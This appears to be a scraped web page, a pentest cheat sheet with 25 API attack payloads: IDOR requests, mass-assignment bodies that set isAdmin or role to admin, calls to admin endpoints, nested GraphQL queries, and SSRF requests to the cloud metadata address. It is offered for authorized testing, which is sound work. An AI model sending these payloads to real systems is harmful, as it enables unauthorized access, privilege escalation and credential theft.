API Security Cheat Sheet
API security testing techniques covering BOLA/IDOR, mass assignment, broken function level auth, excessive data exposure, SSRF, and shadow APIs. (25 payloads)
BOLA/IDOR (API1)
(5)GET /api/v1/users/2 HTTP/1.1GET /api/v1/users/1 HTTP/1.1POST /api/v1/messages
{"to": "other_user_id"}PUT /api/v1/accounts/other_id/settingsPATCH /api/v1/orders/ORDER_IDBOPLA/Mass Assignment (API3)
(3)POST /api/register
{"username":"x","password":"y","isAdmin":true}PATCH /api/users/me
{"role":"admin"}PUT /api/profile
{"email":"[email protected]","balance":999999}Broken Function Level Auth (API5)
(3)DELETE /api/v1/admin/users/123GET /api/v1/admin/reportsPUT /api/v1/users/123/roleExcessive Data Exposure (API6)
(2)GET /api/users/meInspect all API responses for fields not rendered in the UI — filter logic may hide data client-side onlyRate Limiting / Resource Consumption (API4)
(3)[{"query":"..."},{"query":"..."}]query { user { posts { comments { likes { user { posts { ... } } } } } } }Upload endpoint with no Content-Length checkSSRF via API (API7)
(2)POST /api/fetch
{"url":"http://169.254.169.254/latest/meta-data/"}POST /api/webhook
{"callback":"http://internal-api/admin"}Security Misconfiguration (API8)
(4)/api/swagger.json/api/openapi.json/api/graphqlOPTIONS /api/usersShadow APIs (API9)
(3)/api/v2/Search JS bundle files for fetch() and axios() calls to find undocumented endpoint pathsIntercept mobile app traffic — mobile APIs often differ from web app endpointsLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
Related Generators
Related Cheat Sheets
Further reading
Frequently asked questions
What is the API Security Cheat Sheet?+
It's a quick-reference collection of 25 API Security payloads for testing API Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
How do I use these API Security payloads?+
Copy any payload straight into your authorized test, or open the GraphQL Injection generator to build customized API Security variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Are these API Security payloads free to use?+
Yes — this cheat sheet and all API Security payloads are completely free, with no account required. Everything runs in your browser.